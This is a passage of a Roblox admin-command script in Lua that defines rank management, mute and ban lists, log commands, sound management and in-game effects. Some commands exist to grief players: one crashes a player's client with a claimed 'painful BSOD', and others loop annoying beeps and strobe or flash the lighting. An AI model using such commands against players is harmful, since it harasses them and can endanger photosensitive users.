6149 | [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
6150 | local Success = {} | |
6151 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6152 | for _,Player in pairs(Players) do | |
6153 | local PlayerRank = RANK:GetRank(Player) | |
6154 | if PlayerRank ~= "Owner" then | |
6155 | RANK:RemoveRank(Player) | |
6156 | table.insert(Settings.Ranks.Crashed, Player.Name) | |
6157 | CORE:Crash(Player) | |
6158 | table.insert(Success, Player) | |
6159 | end | |
6160 | end | |
6161 | REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION") | |
6162 | end}; | |
6163 | ||
6164 | [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
6165 | local Success = {} | |
6166 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6167 | for _,Player in pairs(Players) do | |
6168 | local PlayerRank = RANK:GetRank(Player) | |
6169 | if PlayerRank ~= "Owner" then | |
6170 | RANK:RemoveRank(Player) | |
6171 | table.insert(Settings.Ranks.Muted, Player.Name) | |
6172 | GUI:CoreGui(Player, "Chat", false) | |
6173 | table.insert(Success, Player) | |
6174 | end | |
6175 | end | |
6176 | REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION") | |
6177 | end}; | |
6178 | ||
6179 | [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6180 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6181 | if #Players > 0 then | |
6182 | local Success = {} | |
6183 | for _,Player in pairs(Players) do | |
6184 | local RankName,RankNum = RANK:GetRank(Player) | |
6185 | if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then | |
6186 | if not RANK:IsSupremeOwner(Player) then | |
6187 | if RankName == "Muted" then | |
6188 | GUI:CoreGui(Player, "Chat", true) | |
6189 | end | |
6190 | if RankNum > 0 then | |
6191 | GUI:TellNotAdmin(Player) | |
6192 | end | |
6193 | RANK:RemoveRank(Player) | |
6194 | table.insert(Success, Player) | |
6195 | end | |
6196 | end | |
6197 | end | |
6198 | REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION") | |
6199 | else | |
6200 | local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) | |
6201 | if Player then | |
6202 | local RankNum = RANK:ConvertRank(PlayerRank) | |
6203 | if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then | |
6204 | if not RANK:IsSupremeOwner(Player) then | |
6205 | RANK:RemoveRank(Player) | |
6206 | REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION") | |
6207 | end | |
6208 | end | |
6209 | end | |
6210 | end | |
6211 | end}; | |
6212 | ||
6213 | [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6214 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6215 | if #Players > 0 then | |
6216 | local Success = {} | |
6217 | for _,Player in pairs(Players) do | |
6218 | local PlayerRank,RankNum = RANK:GetRank(Player) | |
6219 | if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then | |
6220 | RANK:RemoveRank(Player) | |
6221 | table.insert(Settings.Ranks.Member, Player.Name) | |
6222 | GUI:TellAdmin(Player) | |
6223 | table.insert(Success, Player) | |
6224 | end | |
6225 | end | |
6226 | REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION") | |
6227 | else | |
6228 | local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) | |
6229 | if Player then | |
6230 | local RankNum = RANK:ConvertRank(PlayerRank) | |
6231 | if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then | |
6232 | if not RANK:IsSupremeOwner(Player) then | |
6233 | RANK:RemoveRank(Player) | |
6234 | table.insert(Settings.Ranks.Member, Player) | |
6235 | end | |
6236 | end | |
6237 | else | |
6238 | RANK:RemoveRank(Arguments[1]) | |
6239 | table.insert(Settings.Ranks.Member, Arguments[1]) | |
6240 | end | |
6241 | end | |
6242 | end}; | |
6243 | ||
6244 | [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
6245 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6246 | if #Players > 0 then | |
6247 | local Success = {} | |
6248 | for _,Player in pairs(Players) do | |
6249 | local PlayerRank,RankNum = RANK:GetRank(Player) | |
6250 | if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then | |
6251 | RANK:RemoveRank(Player) | |
6252 | table.insert(Settings.Ranks.Admin, Player.Name) | |
6253 | GUI:TellAdmin(Player) | |
6254 | table.insert(Success, Player) | |
6255 | end | |
6256 | end | |
6257 | REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION") | |
6258 | else | |
6259 | local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) | |
6260 | if Player then | |
6261 | local RankNum = RANK:ConvertRank(PlayerRank) | |
6262 | if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then | |
6263 | if not RANK:IsSupremeOwner(Player) then | |
6264 | RANK:RemoveRank(Player) | |
6265 | table.insert(Settings.Ranks.Admin, Player) | |
6266 | end | |
6267 | end | |
6268 | else | |
6269 | RANK:RemoveRank(Arguments[1]) | |
6270 | table.insert(Settings.Ranks.Admin, Arguments[1]) | |
6271 | end | |
6272 | end | |
6273 | end}; | |
6274 | ||
6275 | [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
6276 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6277 | if RANK:IsSupremeOwner(Speaker) then | |
6278 | if #Players > 0 then | |
6279 | local Success = {} | |
6280 | for _,Player in pairs(Players) do | |
6281 | if not RANK:IsSupremeOwner(Player) then | |
6282 | RANK:RemoveRank(Player) | |
6283 | table.insert(Settings.Ranks.Owner, Player.Name) | |
6284 | GUI:TellAdmin(Player) | |
6285 | table.insert(Success, Player) | |
6286 | end | |
6287 | end | |
6288 | REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION") | |
6289 | else | |
6290 | local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) | |
6291 | if Player then | |
6292 | local RankNum = RANK:ConvertRank(PlayerRank) | |
6293 | if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then | |
6294 | if not RANK:IsSupremeOwner(Player) then | |
6295 | RANK:RemoveRank(Player) | |
6296 | table.insert(Settings.Ranks.Owner, Player) | |
6297 | end | |
6298 | end | |
6299 | else | |
6300 | RANK:RemoveRank(Arguments[1]) | |
6301 | table.insert(Settings.Ranks.Owner, Arguments[1]) | |
6302 | end | |
6303 | end | |
6304 | end | |
6305 | end}; | |
6306 | ||
6307 | [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6308 | local TableStorage = {} | |
6309 | for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end | |
6310 | for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end | |
6311 | for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end | |
6312 | GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462) | |
6313 | end}; | |
6314 | ||
6315 | [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6316 | local TableStorage = {} | |
6317 | for _,Player in pairs(Server.Players:GetChildren()) do | |
6318 | local ValidAdmin,PlayerRank = RANK:IsAdmin(Player) | |
6319 | if ValidAdmin then | |
6320 | if PlayerRank == "Owner" then | |
6321 | table.insert(TableStorage, "BOLD: "..Player.Name..": Owner") | |
6322 | else | |
6323 | table.insert(TableStorage, Player.Name..": "..PlayerRank) | |
6324 | end | |
6325 | end | |
6326 | end | |
6327 | GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987) | |
6328 | end}; | |
6329 | ||
6330 | [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6331 | GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795) | |
6332 | end}; | |
6333 | ||
6334 | [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6335 | GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917) | |
6336 | end}; | |
6337 | ||
6338 | [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6339 | GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870) | |
6340 | end}; | |
6341 | ||
6342 | [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6343 | local TableStorage = {} | |
6344 | for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end | |
6345 | for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end | |
6346 | for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end | |
6347 | GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258) | |
6348 | end}; | |
6349 | ||
6350 | [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6351 | local TableStorage = {} | |
6352 | for PlayerRank,PlayerNames in pairs(Settings.Ranks) do | |
6353 | for Num,PlayerName in pairs(PlayerNames) do | |
6354 | if PlayerRank == "Owner" then | |
6355 | table.insert(TableStorage, "BOLD: "..PlayerName..": Owner") | |
6356 | else | |
6357 | table.insert(TableStorage, PlayerName..": "..PlayerRank) | |
6358 | end | |
6359 | end | |
6360 | end | |
6361 | GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765) | |
6362 | end}; | |
6363 | ||
6364 | [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6365 | GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log") | |
6366 | end}; | |
6367 | ||
6368 | [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6369 | GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log") | |
6370 | end}; | |
6371 | ||
6372 | [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6373 | GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log") | |
6374 | end}; | |
6375 | ||
6376 | [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6377 | local ExploitLog = Server.GDS:GetAsync("ExploitLog") | |
6378 | if type(ExploitLog) ~= "table" then ExploitLog = {} end | |
6379 | GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log") | |
6380 | end}; | |
6381 | ||
6382 | [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
6383 | CommandLogs = {} | |
6384 | end}; | |
6385 | ||
6386 | [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
6387 | ChatLogs = {} | |
6388 | end}; | |
6389 | ||
6390 | [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
6391 | IRC.Logs = {} | |
6392 | end}; | |
6393 | ||
6394 | [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
6395 | CommandLogs = {} | |
6396 | ChatLogs = {} | |
6397 | IRC.Logs = {} | |
6398 | end}; | |
6399 | ||
6400 | [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6401 | Server.GDS:SetAsync("ExploitLog", {}) | |
6402 | end}; | |
6403 | ||
6404 | [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6405 | local List,Correlate,SoundName = {},{},{} | |
6406 | for Name,Info in pairs(SoundList) do | |
6407 | local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2] | |
6408 | table.insert(List, View) | |
6409 | Correlate[View] = Info[1] | |
6410 | end | |
6411 | ||
6412 | local CanClick = true | |
6413 | if Rank == "Member" then CanClick = false end | |
6414 | local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick) | |
6415 | Clicked.Event:connect(function(ClickName) | |
6416 | local OldSoundId = nil | |
6417 | SOUND:StopGlobalSound() | |
6418 | if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then | |
6419 | SOUND:PlayGlobalSound(Correlate[ClickName]) | |
6420 | end | |
6421 | end) | |
6422 | end}; | |
6423 | ||
6424 | [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6425 | SOUND:SyncSoundList(Speaker) | |
6426 | end}; | |
6427 | ||
6428 | [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6429 | local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"}) | |
6430 | if Answer == "Yes" then | |
6431 | Server.Workspace.Terrain:Clear() | |
6432 | end | |
6433 | end}; | |
6434 | ||
6435 | [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6436 | local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"}) | |
6437 | if Answer == "Yes" then | |
6438 | for _,Obj in pairs(Workspace:GetChildren()) do | |
6439 | if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then | |
6440 | Obj:Destroy() | |
6441 | end | |
6442 | end | |
6443 | end | |
6444 | end}; | |
6445 | ||
6446 | [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6447 | CORE:MakeBase() | |
6448 | end}; | |
6449 | ||
6450 | [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments) | |
6451 | local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds") | |
6452 | if CustomSounds == nil or type(CustomSounds) ~= "table" then | |
6453 | CustomSounds = {} | |
6454 | end | |
6455 | if tostring(Arguments[1]) then | |
6456 | local Request = MARKET:GetItemInfo(Arguments[1]) | |
6457 | if Request.AssetTypeId == 3 then | |
6458 | table.insert(CustomSounds, {Arguments[2], Arguments[1]}) | |
6459 | SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name} | |
6460 | Server.GDS:SetAsync("MML Custom Sounds", CustomSounds) | |
6461 | GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4) | |
6462 | else | |
6463 | GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4) | |
6464 | end | |
6465 | end | |
6466 | end}; | |
6467 | ||
6468 | [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6469 | local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds") | |
6470 | if CustomSounds == nil or type(CustomSounds) ~= "table" then | |
6471 | CustomSounds = {} | |
6472 | end | |
6473 | ||
6474 | local Removed = {} | |
6475 | for Num,Data in pairs(CustomSounds) do | |
6476 | if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then | |
6477 | table.insert(Removed, Data[1]) | |
6478 | table.remove(CustomSounds, Num) | |
6479 | end | |
6480 | end | |
6481 | ||
6482 | Server.GDS:SetAsync("MML Custom Sounds", CustomSounds) | |
6483 | ||
6484 | SOUND:SyncSoundList() | |
6485 | ||
6486 | if #Removed > 0 then | |
6487 | GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed)) | |
6488 | else | |
6489 | GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list") | |
6490 | end | |
6491 | end}; | |
6492 | ||
6493 | [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6494 | local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"}) | |
6495 | if Answer == "Yes" then | |
6496 | Server.GDS:SetAsync("MML Custom Sounds", {}) | |
6497 | SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync! | |
6498 | GUI:SendHint(Speaker, "All custom sounds have been removed", 4) | |
6499 | end | |
6500 | end}; | |
6501 | ||
6502 | [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6503 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6504 | local SpeakerTesting = false | |
6505 | for _,Player in pairs(Players) do | |
6506 | if Player == Speaker then SpeakerTesting = true end | |
6507 | if Player:FindFirstChild("Backpack") then coroutine.wrap(function() | |
6508 | CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script}) | |
6509 | --wait(10) | |
6510 | --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10) | |
6511 | end)() end | |
6512 | end | |
6513 | if SpeakerTesting == false then | |
6514 | GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10) | |
6515 | end | |
6516 | end}; | |
6517 | ||
6518 | [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6519 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6520 | local Compile = {} | |
6521 | for _,Player in pairs(Players) do | |
6522 | local PlayerInfo = ClientInfo[Player.Name] | |
6523 | if PlayerInfo then | |
6524 | if PlayerInfo.Benchmark then | |
6525 | table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark) | |
6526 | else | |
6527 | table.insert(Compile, Player.Name..": No score") | |
6528 | end | |
6529 | end | |
6530 | end | |
6531 | GUI:ListGui(Speaker, "Benchmarks", Compile, "Information") | |
6532 | end}; | |
6533 | ||
6534 | [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments) | |
6535 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6536 | for _,Player in pairs(Players) do | |
6537 | CORE:Chatted(Arguments[2], Player, true) | |
6538 | end | |
6539 | end}; | |
6540 | ||
6541 | [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments) | |
6542 | CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker)) | |
6543 | end}; | |
6544 | ||
6545 | [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments) | |
6546 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6547 | for _,Player in pairs(Players) do | |
6548 | if Player.Character ~= nil then | |
6549 | if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then | |
6550 | if Player.Character.Torso:FindFirstChild("Neck") then | |
6551 | Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180)) | |
6552 | local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end | |
6553 | Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true | |
6554 | local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7) | |
6555 | local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0) | |
6556 | end | |
6557 | end | |
6558 | end | |
6559 | end | |
6560 | end}; | |
6561 | ||
6562 | [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments) | |
6563 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6564 | for _,Player in pairs(Players) do | |
6565 | if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then | |
6566 | Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180)) | |
6567 | local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end | |
6568 | end | |
6569 | end | |
6570 | end}; | |
6571 | ||
6572 | [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments) | |
6573 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6574 | for _,Player in pairs(Players) do | |
6575 | local _,RankNum = RANK:GetRank(Player) | |
6576 | if RankNum <= RANK:ConvertRank(Rank) then | |
6577 | CORE:FlingPlayer(Player) | |
6578 | end | |
6579 | end | |
6580 | end}; | |
6581 | ||
6582 | [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments) | |
6583 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6584 | for _,Player in pairs(Players) do | |
6585 | local _,RankNum = RANK:GetRank(Player) | |
6586 | if RankNum <= RANK:ConvertRank(Rank) then | |
6587 | Flings[Player.Name] = true | |
6588 | CORE:FlingPlayer(Player) | |
6589 | end | |
6590 | end | |
6591 | end}; | |
6592 | ||
6593 | [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments) | |
6594 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6595 | for _,Player in pairs(Players) do | |
6596 | local _,RankNum = RANK:GetRank(Player) | |
6597 | if RankNum <= RANK:ConvertRank(Rank) then | |
6598 | Flings[Player.Name] = nil | |
6599 | end | |
6600 | end | |
6601 | end}; | |
6602 | ||
6603 | [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6604 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6605 | for _,Player in pairs(Players) do | |
6606 | CORE:Nuke(Player) | |
6607 | end | |
6608 | end}; | |
6609 | ||
6610 | [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6611 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6612 | for _,Player in pairs(Players) do | |
6613 | Beeps[Player.Name] = true | |
6614 | SOUND:BeepPlayer(Player) | |
6615 | end | |
6616 | end}; | |
6617 | ||
6618 | [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
6619 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6620 | for _,Player in pairs(Players) do | |
6621 | if Player.PlayerGui then | |
6622 | Beeps[Player.Name] = nil | |
6623 | for _,Obj in pairs(Player.PlayerGui:GetChildren()) do | |
6624 | if Obj.Name == "Annoy" then | |
6625 | Obj:Stop() | |
6626 | Obj:Destroy() | |
6627 | end | |
6628 | end | |
6629 | end | |
6630 | end | |
6631 | end}; | |
6632 | ||
6633 | [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6634 | local Time = Arguments[1] | |
6635 | if Time == "day" or Time == "noon" then Time = "12" end | |
6636 | if Time == "night" or Time == "midnight" then Time = "0" end | |
6637 | if Time == "dawn" or Time == "morning" then Time = "6:15" end | |
6638 | if Time == "dusk" or Time == "evening" then Time = "17:45" end | |
6639 | if Time == "afternoon" then Time = "15:30" end | |
6640 | ypcall(function() Server.Lighting.TimeOfDay = Time end) | |
6641 | end}; | |
6642 | ||
6643 | [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6644 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6645 | for _,Player in pairs(Players) do | |
6646 | MARKET:PromptPurchase(Player, Arguments[2], Speaker) | |
6647 | end | |
6648 | end}; | |
6649 | ||
6650 | [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6651 | local AbuseMode = false | |
6652 | if Rank == "Member" then AbuseMode = Settings.DisableAbuse end | |
6653 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6654 | for _,Player in pairs(Players) do | |
6655 | CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode) | |
6656 | end | |
6657 | end}; | |
6658 | ||
6659 | [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6660 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6661 | for _,Player in pairs(Players) do | |
6662 | CORE:Insert(125013769, Player.Backpack, true) | |
6663 | end | |
6664 | end}; | |
6665 | ||
6666 | [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6667 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6668 | for _,Player in pairs(Players) do | |
6669 | if Player.Character then | |
6670 | CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"}) | |
6671 | end | |
6672 | end | |
6673 | end}; | |
6674 | ||
6675 | [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6676 | CORE:ResetLighting() | |
6677 | repeat | |
6678 | Server.Lighting.Ambient = Color3.new(1,1,1) | |
6679 | Server.Lighting.FogColor = Color3.new(1,1,1) | |
6680 | Server.Lighting.Brightness = 1 | |
6681 | Server.Lighting.TimeOfDay = 14 | |
6682 | wait(0.1) | |
6683 | Server.Lighting.Ambient = Color3.new(0,0,0) | |
6684 | Server.Lighting.FogColor = Color3.new(0,0,0) | |
6685 | Server.Lighting.Brightness = 0 | |
6686 | Server.Lighting.TimeOfDay = 0 | |
6687 | wait(0.1) | |
6688 | until ModLighting == false | |
6689 | end}; | |
6690 | ||
6691 | [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6692 | CORE:ResetLighting() | |
6693 | repeat | |
6694 | local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) | |
6695 | Server.Lighting.Ambient = Color | |
6696 | Server.Lighting.FogColor = Color | |
6697 | Server.Lighting.TimeOfDay = 0 | |
6698 | Server.Lighting.FogEnd = 500 | |
6699 | wait(0.1) | |
6700 | until ModLighting == false | |
6701 | end}; | |
6702 | ||
6703 | [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6704 | CORE:FixLighting() | |
6705 | end}; | |
6706 | ||
6707 | [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6708 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6709 | for _,Player in pairs(Players) do | |
6710 | if Player:FindFirstChild("PlayerGui") then | |
